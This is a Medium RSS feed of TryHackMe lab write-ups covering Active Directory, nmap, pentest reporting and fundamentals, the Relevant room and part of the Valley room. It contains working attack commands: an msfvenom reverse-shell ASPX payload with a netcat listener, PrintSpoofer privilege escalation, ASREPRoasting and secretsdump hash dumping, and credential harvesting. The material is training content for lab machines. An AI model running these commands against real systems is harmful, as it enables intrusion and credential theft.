<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahesh on Medium]]></title>
        <description><![CDATA[Stories by Mahesh on Medium]]></description>
        <link>https://medium.com/@mahesh7780376316?source=rss-122aea9d51b6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ScdOs5cXRuE53XB6</url>
            <title>Stories by Mahesh on Medium</title>
            <link>https://medium.com/@mahesh7780376316?source=rss-122aea9d51b6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 23:00:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mahesh7780376316/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Attacktive Directory — Step-by-Step Guide By Mahesh G]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-attacktive-directory-step-by-step-guide-by-mahesh-g-f9b5a285bd7a?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9b5a285bd7a</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 11:19:40 GMT</pubDate>
            <atom:updated>2025-07-22T11:19:40.896Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Attacktive Directory — Step-by-Step Guide By Mahesh G</h3><h3>✅ TASK 1: Deploy the Machine</h3><ul><li>Start the <strong>Attacktive Directory</strong> virtual machine on TryHackMe.</li><li>Make sure your VPN is connected so you can access the target machine.</li><li>You’ll see the machine’s IP address on the access page — this confirms your connection.</li></ul><h3>✅ TASK 2: Setup Required Tools</h3><ul><li>We need <strong>Impacket</strong>, a powerful toolset for network protocols, especially useful for attacking Active Directory.</li></ul><p>Run this command in your terminal to install it:</p><pre>git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket</pre><h3>✅ TASK 3: Start Enumeration with Nmap</h3><ul><li>Begin by scanning the machine to find open ports and running services.</li></ul><p>Example Nmap command:</p><pre>nmap -sC -sV -oN initial.txt &lt;Target-IP&gt;</pre><p>This tells us:</p><ul><li>What services are running</li><li>Which ports are open</li><li>Basic OS information</li></ul><h3>✅ TASK 4: Enumerating Users via Kerberos</h3><p><strong>What is Kerberos?</strong></p><ul><li>A service that handles login authentication inside Active Directory (runs on port 88).</li></ul><p>We use <strong>Kerbrute</strong> to discover:</p><ul><li>Valid usernames</li><li>Passwords (optional, but risky)</li></ul><p>⚠️ Avoid brute-forcing passwords — it can lock accounts and alert the system.</p><h3>✅ TASK 5: ASREPRoasting — Exploiting Kerberos Weakness</h3><p><strong>What’s ASREPRoasting?</strong></p><ul><li>Some accounts have the option <strong>“Does not require pre-authentication”</strong> enabled.</li><li>This allows us to request encrypted data without logging in — and try to crack it offline.</li></ul><p><strong>Tool used:</strong><br>Impacket’s GetNPUsers.py</p><p>Run it like this:</p><pre>python3 /opt/impacket/examples/GetNPUsers.py &lt;DOMAIN&gt;/ -usersfile users.txt -no-pass -dc-ip &lt;Target-IP&gt; -outputfile hashes.txt</pre><p>Now you can try cracking those hashes with <strong>Hashcat</strong>.</p><h3>✅ TASK 6: Check File Shares (Enumeration with Creds)</h3><p>Now that you have valid user credentials, explore what file shares are available on the domain.</p><p>Use:</p><pre>smbclient -L //&lt;Target-IP&gt; -U &lt;username&gt;</pre><p>You might find interesting files or even flags on shared folders.</p><h3>✅ TASK 7: Privilege Escalation — The Backup Account</h3><ul><li>You may get access to a special user account named backup.</li><li>This user might have <strong>replication rights</strong>, allowing it to sync password hashes from the domain controller.</li></ul><p>With this access, use <a href="http://secretsdump.py/"><strong>secretsdump.py</strong></a> to dump all password hashes:</p><pre>python3 /opt/impacket/examples/secretsdump.py &lt;DOMAIN&gt;/&lt;user&gt;:&lt;password&gt;@&lt;Target-IP&gt;</pre><p>Use Hashcat again to crack the hashes.</p><h3>✅ TASK 8: Submit Flags</h3><ul><li>Check the desktop of each user you compromise.</li><li>Flags will be in files like user.txt or flag.txt.</li><li>Submit them on the TryHackMe task page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hX6ceODd2ChVFoylFXHx2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DiLU-MoxndWIaBVtdkdDqg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9b5a285bd7a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: nmap01 — A Walkthrough by mahesh G]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-nmap01-a-walkthrough-by-mahesh-g-08243b75e0e6?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/08243b75e0e6</guid>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sun, 13 Jul 2025 12:09:39 GMT</pubDate>
            <atom:updated>2025-07-13T12:09:39.983Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: nmap01 — A Walkthrough by mahesh G</h3><h3><strong>Task 1: Introduction</strong></h3><p>Before scanning for open ports, it’s important to first figure out which systems on the network are actually turned on. Scanning devices that are offline is a waste of time and can cause extra, unwanted traffic on the network.</p><p>When we want to check a network, we need a reliable tool that can automate the process and help us answer two main questions:</p><ul><li>Which devices are currently online?</li><li>What services are running on those devices?</li></ul><p>Nmap is one such tool that helps with these tasks efficiently.</p><h3>Task 2: Subnetworks</h3><p>As part of active information gathering, we often want to learn more about a group of computers or a whole subnet. If your scanning device is on the same subnet, Nmap will typically use <strong>ARP (Address Resolution Protocol)</strong> to find which systems are online.</p><p>ARP works by sending a request to find the MAC (hardware) address of an IP address. If a device replies with its MAC address, we know it’s online. So even though ARP is designed for communication on the local network, we can also use it to detect live devices.</p><p>This task explains how ARP requests and responses help us find online hosts.</p><h3>Task 3: Enumerating Targets</h3><p>Before scanning, we must tell Nmap what to scan. You can target:</p><ul><li><strong>A list of IPs/domains:</strong><br> Example:<br> nmap MACHINE_IP scanme.nmap.org example.com<br> → Scans 3 targets.</li><li><strong>A range of IPs:</strong><br> Example:<br> nmap 10.11.12.15-20<br> → Scans 6 IPs from .15 to .20.</li><li><strong>A subnet:</strong><br> Example:<br> nmap MACHINE_IP/30<br> → Scans 4 IPs in that subnet.</li></ul><p>You can also provide a file containing host IPs/domains using:<br> nmap -iL list_of_hosts.txt</p><p>If you want to see which IPs will be scanned before actually doing it, use:<br> nmap -sL TARGETS</p><h3>Task 4: Discovering Live Hosts</h3><p>To find which systems are up, Nmap uses different protocols from various layers of the TCP/IP model:</p><ul><li><strong>Link Layer:</strong> ARP requests (for systems on the same subnet)</li><li><strong>Network Layer:</strong> ICMP Echo (like a ping)</li><li><strong>Transport Layer:</strong></li><li>TCP: Sends packets to common ports to see if a system responds</li><li>UDP: Sends packets to UDP ports to check for replies</li></ul><p>Even if ICMP (ping) is blocked, TCP or UDP checks can still help detect live systems. These techniques let Nmap find devices even when some security rules are in place.</p><h3><strong>Task 5: Nmap Host Discovery Using ARP</strong></h3><p>Nmap can use ARP to find live devices without doing any port scanning. This is helpful on local networks.</p><p>Command to use:</p><ul><li>nmap -PR -sn TARGETS</li><li>-PR tells Nmap to use ARP</li><li>-sn skips port scanning (host discovery only)</li></ul><p>Example:<br> nmap -PR -sn MACHINE_IP/24<br> This will scan the entire local subnet and list all online devices.</p><h3>Task 6: Nmap Host Discovery Using ICMP</h3><p>One way to find live systems is to <strong>ping</strong> all IP addresses on a network. If a device is online, it may reply to the <strong>ICMP Echo Request (Type 8)</strong> with an <strong>ICMP Echo Reply (Type 0)</strong>.</p><p>To use this with Nmap, run:</p><pre>nmap -PE -sn TARGETS</pre><ul><li>-PE: Sends ICMP Echo requests.</li><li>-sn: Skips port scanning (host discovery only).</li></ul><p>Other ICMP options:</p><ul><li>-PP: Uses ICMP Timestamp Request to check if a host is up.</li><li>-PM: Uses ICMP Address Mask Request to check for online hosts.</li></ul><p>These methods are useful when ARP can’t be used, such as when you’re not on the same subnet.</p><h3><strong>Task 7: Nmap Host Discovery Using TCP and UDP</strong></h3><h4>TCP SYN Ping</h4><p>This method sends a <strong>SYN packet</strong> to a port (default is port 80). The response tells us:</p><ul><li>If the port replies with <strong>SYN/ACK</strong>, the host is online.</li><li>If it sends <strong>RST</strong>, the port is closed, but the host is still online.</li></ul><p>Command:</p><pre>nmap -PS TARGETS</pre><p>You can also specify ports:</p><pre>nmap -PS22,80,443 TARGETS</pre><h4>TCP ACK Ping</h4><p>This sends a <strong>TCP ACK packet</strong> instead of SYN. Useful for bypassing some firewalls. You need <strong>root/admin</strong> access to use this.</p><p>Command:</p><pre>nmap -PA TARGETS</pre><p>You can also choose specific ports:</p><pre>nmap -PA21-25 TARGETS</pre><h4>UDP Ping</h4><p>Nmap can also send UDP packets to specific ports. If there’s a response (like ICMP Port Unreachable), it can indicate if the host is up.</p><p>Command:</p><pre>nmap -PU53 TARGETS</pre><h3>Task 8: Using Reverse-DNS Lookup</h3><p>By default, Nmap tries to find hostnames for IPs using <strong>reverse-DNS lookup</strong>. Hostnames can sometimes give away important clues about systems.</p><p>Options:</p><ul><li>-n: Skip reverse DNS lookup (faster scanning, less noise).</li><li>-R: Force DNS lookup even for <strong>offline</strong> systems.</li><li>--dns-servers &lt;DNS_IP&gt;: Use a <strong>custom DNS server</strong>.</li></ul><p>Example:</p><pre>nmap -n TARGETS             <br>nmap -R TARGETS             <br>nmap --dns-servers 8.8.8.8 TARGETS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHw6hhdAi4sogBXGKLjvbQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08243b75e0e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Writing a Penetration Testing Report By Mahesh G]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-writing-a-penetration-testing-report-by-mahesh-g-b394037f422c?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b394037f422c</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 09:27:35 GMT</pubDate>
            <atom:updated>2025-07-06T09:27:35.719Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Writing a Penetration Testing Report By Mahesh G</h3><h3>🛡️ Penetration Testing Report Guide</h3><h3>Why Reports Matter</h3><p>Reports are the only lasting proof of a penetration test. If it’s not in the report, it didn’t happen. A clear, well-written report ensures findings lead to action.</p><h3>🎯 Audience Breakdown</h3><h3>Technical Teams (70–90%) — Developers, IT</h3><p><strong>Need:</strong> Clear details on what’s wrong, how to reproduce it, and how to fix it.</p><h3>Security Teams (10–20%) — Risk Managers, Analysts</h3><p><strong>Need:</strong> Summary of risks, attack chains, and help prioritizing.</p><h3>Business Stakeholders (5–10%) — Executives, Managers</h3><p><strong>Need:</strong> Simple summary of business risks and recommendations.</p><h3>🧱 Report Structure</h3><h3>1. Summary</h3><h4>Executive Summary (Business)</h4><p>Non-technical overview of what was tested, key risks, and urgent actions.</p><h4>Findings &amp; Recommendations (Security)</h4><p>Key vulnerabilities, attack paths, and how issues relate or escalate.</p><h3>2. Vulnerability Write-Ups (Main Section)</h3><p>Use the following format for each finding:</p><ul><li><strong>Title</strong> — Specific and short (e.g., SQL Injection in Login Form)</li><li><strong>Risk Rating</strong> — Use CVSS or client-defined scale</li><li><strong>Summary</strong> — What the issue is and why it matters</li><li><strong>Background</strong> — Help non-security readers understand root cause</li><li><strong>Technical Details &amp; Evidence</strong> — How the issue was found (payloads, screenshots, logs, etc.)</li><li><strong>Impact</strong> — What an attacker could do in this system</li><li><strong>Remediation Advice</strong> — Specific fix steps (match client’s tech stack)</li><li><strong>References</strong> — (Optional) Helpful external links</li></ul><p><strong>Tips:</strong></p><ul><li>Be specific: Name endpoints, parameters, features.</li><li>State preconditions: e.g., attacker must be logged in.</li><li>Explain impact in system context: e.g., patient data, financial data.</li></ul><h3>3. Appendices</h3><ul><li><strong>Assessment Scope</strong> — What was in-scope, what wasn’t, any changes during testing.</li><li><strong>Assessment Artifacts</strong> — List any files, test accounts, or tools left behind, and removal steps.</li></ul><h3>✍️ Writing Style &amp; Best Practices</h3><ul><li>Write in <strong>past tense</strong> (e.g., “The vulnerability was found…”)</li><li>Use <strong>formal, neutral tone</strong> (avoid first-person or slang)</li><li><strong>Mask real data</strong> — No real passwords, tokens, or sensitive info</li><li><strong>Review and QA</strong> the report — fix unclear parts, check for errors, maintain consistency</li><li>Get <strong>peer review</strong> if possible</li></ul><h3>✅ Final Advice</h3><p>Your report reflects your professionalism. A strong report turns technical findings into action. It helps the business understand risks, security teams plan fixes, and developers implement solutions.</p><p><strong>Key Rule:</strong> <em>If it’s not in the report, it didn’t happen.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhBdPDIMqnIQ6q7_0c5rLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tGT8ytYQESLFlhXJAgPk5g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b394037f422c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Pentesting Fundamentals — A Walkthrough by G.Mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-pentesting-fundamentals-a-walkthrough-by-g-mahesh-e59f8a5b23e7?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e59f8a5b23e7</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 17:38:05 GMT</pubDate>
            <atom:updated>2025-06-28T17:38:05.539Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Pentesting Fundamentals — A Walkthrough by G.Mahesh</h3><p><strong>Objective:</strong></p><p>To build a strong foundation in ethical hacking, I aim to complete the “Pentesting Fundamentals” module on TryHackMe. This module focuses on key concepts such as reconnaissance, scanning, enumeration, exploitation, and post-exploitation. By working through these core areas, I plan to develop practical skills in penetration testing and gain a solid understanding of cybersecurity methodologies. This will prepare me for more advanced offensive security training and real-world applications in the field.</p><p><strong>Task 1: What is Penetration Testing?</strong></p><p>Penetration Testing, or pentesting, is a legal and authorized way to test a computer system, network, or application for security weaknesses. It helps find and fix problems before real hackers can take advantage of them.</p><p>In a pentest, ethical hackers (also called penetration testers) use the same tools and methods that real attackers might use. The goal is to see how well the system can defend itself. It’s like a security check or audit to protect important data and systems from harm.</p><p><strong>Task 2: Penetration Testing Ethics</strong></p><p>Penetration testing, also known as ethical hacking, must always follow clear ethical rules. It means pretending to be a hacker to find and fix security problems — but only with permission. Ethical hackers must respect people’s privacy, follow all laws, avoid causing damage, and report everything they find honestly and responsibly.</p><p><strong>Types of Hackers</strong></p><p>While learning about penetration testing, I also learned about the three main types of hackers:</p><ul><li><strong>Black Hat Hackers:</strong> These are hackers who break into systems without permission. They have bad intentions and do it illegally to steal data or cause harm.</li><li><strong>White Hat Hackers:</strong> Also known as ethical hackers, they follow strict rules and laws. They have permission to test systems and help improve security.</li><li><strong>Gray Hat Hackers:</strong> These hackers are in between. They may help others and don’t always have bad intentions, but they sometimes break the law or ignore ethical guidelines. They follow some ethics, but not all the rules.</li><li><strong>Rules of Engagement (ROE)</strong></li><li>As part of penetration testing ethics, I learned about the <strong>Rules of Engagement (ROE)</strong>. This is a document created at the beginning of a penetration test. It helps define how the test will be done in a safe and legal way.</li><li>The ROE mainly includes three important sections:</li><li><strong>Permissions:</strong> Written approval to perform the test, making sure everything is legal and authorized.</li><li><strong>Test Scope:</strong> Defines what systems, applications, or areas can be tested and which ones are off-limits.</li><li><strong>Rules:</strong> Outlines the specific guidelines testers must follow, such as testing times, communication methods, and how to handle sensitive data.</li></ul><p>The ROE ensures that the test is controlled, ethical, and respects the organization’s boundaries.</p><p><strong>Task 3: Pentesting Methodologies</strong></p><p>Penetration testing follows a step-by-step process called a methodology. Each stage helps testers find and safely exploit security weaknesses. Here are the main stages:</p><ul><li><strong>Information Gathering:</strong> This is the first step where testers collect information about the target using OSINT (Open Source Intelligence) and online research. It helps understand the target before launching any attacks.</li><li><strong>Enumeration/Scanning:</strong> In this stage, testers scan the systems to find open ports, running services, and applications. This helps identify possible entry points.</li><li><strong>Exploitation:</strong> Here, testers try to take advantage of the vulnerabilities found in the previous step. The goal is to gain access to the system or application.</li><li><strong>Privilege Escalation:</strong> Once inside (known as gaining a foothold), testers try to gain more control.</li><li><strong>Vertical escalation</strong> means moving up to higher permissions (e.g., from user to admin).</li><li><strong>Horizontal escalation</strong> means accessing other accounts with the same level of permissions.</li><li><strong>Post-Exploitation:</strong> After gaining access, testers explore the system further. This stage includes:</li><li>Checking what data can be accessed,</li><li>Determining how deep the compromise goes,</li><li>Setting up persistence (optional in ethical tests),</li><li>And preparing reports to explain findings and help fix the issues.</li></ul><p>Penetration testing can be carried out in different ways depending on how much information the tester is given:</p><ul><li><strong>Black Box Testing:</strong> The tester has no knowledge of the system — just like an outsider or real-world attacker.</li><li><strong>Grey Box Testing:</strong> The tester has limited knowledge of the system, such as user-level credentials or some internal info.</li><li><strong>White Box Testing:</strong> The tester has full access to the system, including source code, configurations, and internal documents.</li></ul><h3><strong>Common Pentesting Frameworks &amp; Standards</strong></h3><p>These are widely accepted frameworks and guides used during penetration testing to ensure consistency, structure, and reliability:</p><ul><li><strong>OSSTMM (Open Source Security Testing Methodology Manual):</strong> A detailed guide for performing security tests across different areas like networks, systems, and processes.</li><li><strong>OWASP (Open Web Application Security Project):</strong> Focuses on improving the security of web applications and provides the well-known OWASP Top 10 list of common vulnerabilities.</li><li><strong>NIST Cybersecurity Framework 1.1:</strong> A U.S. government framework that helps organizations identify, protect, detect, respond to, and recover from cybersecurity threats.</li><li><strong>NCSC CAF (Cyber Assessment Framework):</strong> Developed by the UK’s National Cyber Security Centre to help assess and improve cybersecurity in critical sectors.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8cHi_mIXHsLLxc2YcazmA.png" /></figure><h3>Task 5: ACME Practical Test (Real-World Scenario)</h3><p>As part of a practical assignment, ACME hired you to perform a full penetration test on their infrastructure. Here’s what you did:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WIOIs7VbD5KZynec7LuOYA.png" /></figure><p><strong>Information Gathering:</strong> You found a LinkedIn profile of an HR employee at ACME. She posted a blog that included the <strong>web server IP</strong>.</p><p><strong>Exploitation:</strong> You used this IP to scan, enumerate, and exploit the system to gain unauthorized access.</p><p><strong>Privilege Escalation:</strong> After gaining initial access as a normal user, you escalated your privileges to become a <strong>root user/administrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cTevGWSFk2X19NT6ECB6A.png" /></figure><p><strong>Post-Exploitation:</strong> You explored the system, gathered sensitive data, and finally captured the <strong>root flag</strong>:</p><blockquote><em>✅ </em><em>THM{PENTEST_COMPLETE}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jnmLHgKux6ioFEy-PHquXg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e59f8a5b23e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: RelevantWalkthrough by G. Mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-relevantwalkthrough-by-g-mahesh-b87e999eec69?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b87e999eec69</guid>
            <category><![CDATA[relevante]]></category>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sat, 21 Jun 2025 17:49:56 GMT</pubDate>
            <atom:updated>2025-06-21T17:49:56.700Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration: Establishing Our Foothold</h3><p><strong>Step 1: Identifying the Target’s IP</strong><br>To begin, ensure your Kali machine is connected through the provided .ovpn file. The target IP address should be listed within the room details. Once connected, use the ping command to confirm that your machine can reach the target and that connectivity is established.</p><p><strong>Step 2: Using Nmap to Identify Open Ports</strong><br>Next, use a scanning method to detect which ports are accessible on the target system. Employ Nmap to uncover both the open ports and the service versions running on the target machine.</p><pre>nmap -sV -sC 10.10.175.12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*_r4fKAqspduqvDxqpodLlw.png" /></figure><pre>smbclient -L 10.10.175.12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*qPyAEdub4_1AXQ_uNL0itw.png" /></figure><pre>smbclient \\\\10.10.175.12\\nt4wrksv</pre><pre>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*4iv_MqffRKBgxE3xecSH7w.png" /></figure><pre>http://10.10.175.12:49663/nt4wrksv/passwords.txt</pre><p>Please open a new terminal window on your system, and then proceed to carefully follow the series of commands provided below to ensure everything is set up correctly.</p><pre>ls</pre><p>Please run the server by executing the appropriate command, and ensure that it is configured to listen on port <strong>1234</strong> for incoming connections.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.17.69.27 LPORT=1234 -f aspx &gt; payload.aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AGTwxS9X2eshiOSfZ5t6tQ.png" /></figure><p>Place the payload.aspx file in the appropriate directory, and then execute the necessary command to run it in the previously opened terminal session</p><pre>put plyload.aspx</pre><p>Open your web browser and navigate to the following URL to access the payload: <a href="http://10.10.175.12:49663/nt4wrksv/payload.aspx">http://10.10.175.12:49663/nt4wrksv/payload.aspx</a></p><pre>http://10.10.175.12:49663/nt4wrksv/payload.aspx</pre><pre>nc -lvnp 1234</pre><p>Now that you have successfully obtained a reverse shell connection, you can use the dir command to list the contents of the current directory within the compromised system. Among the listed items, you should be able to identify the Users directory, which typically contains user-specific folders and data</p><pre>cd users</pre><pre>cd Bob</pre><pre>cd Desktop</pre><pre>dir</pre><pre>cat user.txt</pre><p>Within the Users directory, navigate into the appropriate user folder—there, you will typically find the user.txt file, which often contains the user-level flag or valuable information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17BsiHcYqveFeEMX5gaFlg.png" /></figure><pre>whoami /priv</pre><ul><li>go to the google search for the<strong> seimpersonateprivilege exploit github</strong></li><li>there u can see <strong>printspoofer.exe. download it</strong></li></ul><p>Open another terminal then</p><pre>ls</pre><p>here u can see the downloaded file . after conforming that update it into the server</p><p>use the put command in the <strong>smbclient terminal</strong></p><pre>put printspoofer.exe</pre><p>know come back to the listing terminal nc -lvnp terminal use</p><pre>cd \</pre><pre>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*hR7asnxC9A103eet.png" /></figure><pre>cd inetpub</pre><pre>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*Ek2La1RdL96_leA2.png" /></figure><pre>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*6UKq1jizkFJhp5mL.png" /></figure><pre>cd nt4wrksv</pre><pre>dir</pre><pre>printspoofer.exe -i -c  cmd</pre><p>know u become as a root user</p><pre>cd \</pre><pre>cd administrator</pre><pre>dir</pre><pre>cd desktop</pre><pre>dir</pre><pre>type root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*9bFwACECh4VIugbw.png" /></figure><p>Now that you’ve successfully escalated privileges, you should be able to access the root.txt file—typically located in the C:\Users\Administrator\Desktop directory—containing the final flag or proof of root-level access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_jTnpqBDN_l-njX6GNDtQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b87e999eec69" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: VALLEY Walkthrough by G. Mahesh]]></title>
            <link>https://medium.com/@mahesh7780376316/tryhackme-valley-walkthrough-by-g-mahesh-422f8694e4fe?source=rss-122aea9d51b6------2</link>
            <guid isPermaLink="false">https://medium.com/p/422f8694e4fe</guid>
            <dc:creator><![CDATA[Mahesh]]></dc:creator>
            <pubDate>Sat, 14 Jun 2025 17:26:26 GMT</pubDate>
            <atom:updated>2025-06-14T17:26:26.371Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Enumeration: Establishing Our Foothold</h3><p><strong>Step 1: Identifying the Target’s IP</strong><br>To begin, ensure your Kali machine is connected through the provided .ovpn file. The target IP address should be listed within the room details. Once connected, use the ping command to confirm that your machine can reach the target and that connectivity is established.</p><p><strong>Step 2: Using Nmap to Identify Open Ports</strong><br>Next, use a scanning method to detect which ports are accessible on the target system. Employ Nmap to uncover both the open ports and the service versions running on the target machine.</p><pre>nmap -sV -sC 10.10.18.151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*TtCHIQ5stt7MDH1I78C8Iw.png" /></figure><p>From the Nmap scan results, we can observe that port 80 is open and running an HTTP service. Open Firefox and enter the attacker machine’s IP address into the browser’s address bar. This should bring up a web page hosted on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1iflkizxlXtQUyc6Kc5ZGA.png" /></figure><p>Next, use the <strong>Gobuster</strong> tool to perform directory enumeration. This will help uncover any hidden directories or folders that may exist on the website.</p><pre>sudo gobuster dir -u http://10.10.18.151/ -w /usr/share/wordlists/distrubter/directory-list-2-3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*c9kV9ZrMyoLF62cfjVN_ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*cj3xj4sQMWrKEIkvPoO0lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*EJU1qT3pT7ZoeCmsjsfEig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*jw37YlyafUKzmkjIsPs4WQ.png" /></figure><p>Next, proceed to examine any additional URLs located within the /static directory.</p><pre>sudo gobuster dir -u http://10.10.18.151/static -w /usr/share/wordlists/distrubter/directory-list-2-3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Doj7TmcN-gYHMpY2EWDUhQ.png" /></figure><p>During your investigation, you will eventually come across a potentially suspicious port, which is identified as /00, and may warrant closer examination due to its unusual or unexpected nature</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*fpddDxLDWYU3nHvHqJvLtA.png" /></figure><p>Open your browser and navigate to the specified URL; upon doing so, you will discover a set of developer notes that may provide valuable insights or further guidance</p><pre>10.10.18.151/static/00</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*WKWvyLY9K1jWF-1Ggei2sw.png" /></figure><p>Copy the path /dev1243224123123 and use it in combination with the IP address of the target machine or room to perform a search, which may lead you to additional resources or hidden content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ynOu3NaX2AwGv0D6NQ7TA.png" /></figure><p>Inspect the page by pressing Ctrl + U to view the page source. From there, open the browser console where you’ll find a file named dev.js. Inside that file, you can locate the username and password—make sure to save them somewhere secure for later use</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ucgCc6lY3wYVVVWu2ofZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtvxTZwcpbWXGKwWNIcF3A.png" /></figure><p>There, you will find a path like /dev1243224123123/devNotes37370.txt. Copy this path and append it to the IP address of the room in your browser to access the file, which may contain important information or clues.&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*lc_gJOZbdMt14tebk89XJg.png" /></figure><p>Open a new terminal window and use the ftp command to log in to the account, providing the username and password you previously retrieved.</p><pre>ftp 10.10.18.151 37370</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*jnUp7RXI7OkEgh4wBKl9CQ.png" /></figure><p>After successfully logging in, proceed by following the commands listed below to navigate through the system or retrieve the necessary files</p><pre>ls</pre><p>Once logged in, you’ll see multiple directories, but the one named siemHTTP2.pcapng is the most promising. I tried exploring the others, but they didn’t lead anywhere useful—so it’s best to focus on this one</p><pre>get siemHTTP2.pcapng</pre><p>Open a new terminal window and begin searching for files within the system to identify any potentially useful or sensitive information</p><pre>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*MVPeX49ijOUPDt3Lv9fw5Q.png" /></figure><p>You will come across a file named siemHTTP2.pcapng. Use Wireshark to open and analyze this file, as it may contain valuable network traffic data.</p><pre>wireshark siemHTTP2.pcapng</pre><p>The file will automatically open in Wireshark. Once it does, use the search or filter bar to look for HTTP POST requests, as these may contain important data being sent to the server</p><pre>http.request.method== &quot;POST&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*c-azn92B_rCrVW1Gf0Iy1Q.png" /></figure><p>You’ll be able to find recent POST requests made using the HTTP protocol. Click on one of them, then right-click and select Follow &gt; TCP Stream to view the full conversation between the client and server, which may contain useful data such as credentials or other transmitted content.</p><figure><img alt="" 